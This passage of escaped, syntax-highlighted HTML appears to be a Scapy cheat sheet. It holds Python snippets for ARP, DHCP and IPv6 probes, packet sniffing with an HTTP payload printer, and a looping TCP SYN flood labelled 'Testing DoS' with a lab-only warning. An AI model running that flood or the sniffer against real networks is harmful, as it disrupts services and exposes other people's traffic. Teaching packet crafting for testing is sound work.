&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;resp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;psh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;HTTP Response:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; resp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;summary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; resp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;No response&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
ARP Request
-----------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;arp_req&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; Ether&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ARP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;pdst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;192.168.0.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; srp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;arp_req&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;psrc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; is at &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;hwsrc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
DHCP Discover
-------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;mac&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\xaa\xbb\xcc\xdd\xee\xff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;discover&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; (&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    Ether&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;src&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;0.0.0.0&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;255.255.255.255&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    UDP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;68&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;67&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    BOOTP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;chaddr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;mac&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; xid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;RandInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    DHCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;options&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;message-type&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;discover&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;end&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; srp1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;discover&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;DHCP OFFER:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;summary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;No offer&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
IPv6 Echo Request
-----------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IPv6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;2001:db8::1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; ICMPv6EchoRequest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;hello&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;reply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;ICMPv6 reply:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; reply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;summary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; reply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;No response&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
TCP SYN Flood (Testing DoS)
---------------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Warning!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Only use in lab environments - never on production systems&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;192.168.0.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;S&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; loop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; inter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0.01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
Sniffing and Analyzing
----------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sniff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;nsummary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Example: HTTP traffic parser&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; http_prn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;haslayer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;Raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;Raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;load&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;HTTP&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;GET &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;POST &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;120&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;...&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
